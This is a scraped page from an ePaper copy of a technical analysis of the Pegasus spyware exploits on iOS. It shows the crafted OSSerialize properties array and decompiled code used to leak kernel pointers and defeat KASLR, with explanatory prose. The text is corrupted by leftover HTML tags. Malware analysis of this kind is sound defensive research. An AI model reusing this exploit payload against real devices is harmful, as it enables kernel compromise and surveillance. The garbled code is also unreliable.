19.11.2016 Views

Technical Analysis of the Pegasus Exploits on iOS

eNQc3Ry

eNQc3Ry

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

unsigned char properties[] = {<br />

// kOSSerializeBinarySignature<br />

0xD3, 0x00, 0x00, 0x00,<br />

// kOSSerializeEndCollect<strong>on</strong> | kOSSerializeDicti<strong>on</strong>ary | 2<br />

0x02, 0x00, 0x00, 0x81,<br />

// KEY 1 specified as 30 bytes l<strong>on</strong>g (0x1E)<br />

// kOSSerializeSymbol | 0x1E<br />

0x1E, 0x00, 0x00, 0x08,<br />

"HIDKeyboardModifierMappingSrc", 0x00,<br />

// (30 bytes)<br />

// padding (30 + 3 / 4 = 8 DWORDS)<br />

0x00, 0x00,<br />

// VALUE 1<br />

// kOSSerializeNumber specified as 0x800 bits (256 bytes)<br />

0x00, 0x08, 0x00, 0x04,<br />

// value <str<strong>on</strong>g>of</str<strong>on</strong>g> OSNumber (4)<br />

0x04, 0x00, 0x00, 0x00,<br />

0x00, 0x00, 0x00, 0x00,<br />

// KEY 2 specified as 30 bytes l<strong>on</strong>g (0x1E)<br />

// kOSSerializeSymbol | 0x1E<br />

0x1E, 0x00, 0x00, 0x08,<br />

"HIDKeyboardModifierMappingDst", 0x00, // (30 chars)<br />

// padding (30 + 3 / 4 = 8 DWORDS)<br />

0x00, 0x00,<br />

// VALUE 2<br />

// kOSSerializeEndCollect<strong>on</strong> | kOSSerializeNumber | 32<br />

0x20, 0x00, 0x00, 0x84,<br />

// value <str<strong>on</strong>g>of</str<strong>on</strong>g> OSNumber (0x193)<br />

0x93, 0x01, 0x00, 0x00,<br />

0x00, 0x00, 0x00, 0x00<br />

};<br />

Stage 2 calls IORegistryEntryGetProperty in order to find <str<strong>on</strong>g>the</str<strong>on</strong>g> entry for<br />

HIDKeyboardModifierMappingSrc, which results in <str<strong>on</strong>g>the</str<strong>on</strong>g> properties array creating an<br />

OSNumber larger than <str<strong>on</strong>g>the</str<strong>on</strong>g> maximum 64-bits (8 bytes). Stage 2 uses <str<strong>on</strong>g>the</str<strong>on</strong>g> following code fragment<br />

to call is_io_registry_entry_get_property_bytes, which will read past <str<strong>on</strong>g>the</str<strong>on</strong>g> end <str<strong>on</strong>g>of</str<strong>on</strong>g> a<br />

kernel stack buffer and copy <str<strong>on</strong>g>the</str<strong>on</strong>g> data to a kernel heap buffer. The<br />

IORegistryEntryGetProperty functi<strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g>n returns this heap buffer to user space.<br />

Pointers from this stack overread will <str<strong>on</strong>g>the</str<strong>on</strong>g>refore be leaked to user mode and can be used to<br />

calculate <str<strong>on</strong>g>the</str<strong>on</strong>g> base address for <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> kernel:<br />

do<br />

{<br />

...<br />

} while ( IORegistryEntryGetProperty_0(v13, "HIDKeyboardModifierMappingSrc", dataBuffer, &size)<br />

);<br />

writeLog(7, "%.2s%5.5d\n", "kaslr.c", 127);<br />

if ( size > 8 )<br />

{<br />

writeLog(7, "%.2s%5.5d\n", "kaslr.c", 138);<br />

return dataBuffer[index] & 0xFFF00000;<br />

}<br />

Two aspects <str<strong>on</strong>g>of</str<strong>on</strong>g> this code should be explicitly noted. First, <str<strong>on</strong>g>the</str<strong>on</strong>g> properties array specifies that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />

OSNumber value is 256 bytes in size, which is what ultimately leads to data leakage. Sec<strong>on</strong>d,<br />

<str<strong>on</strong>g>the</str<strong>on</strong>g> index value used to find <str<strong>on</strong>g>the</str<strong>on</strong>g> memory locati<strong>on</strong> within <str<strong>on</strong>g>the</str<strong>on</strong>g> returned dataBuffer array varies<br />

Page 18

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!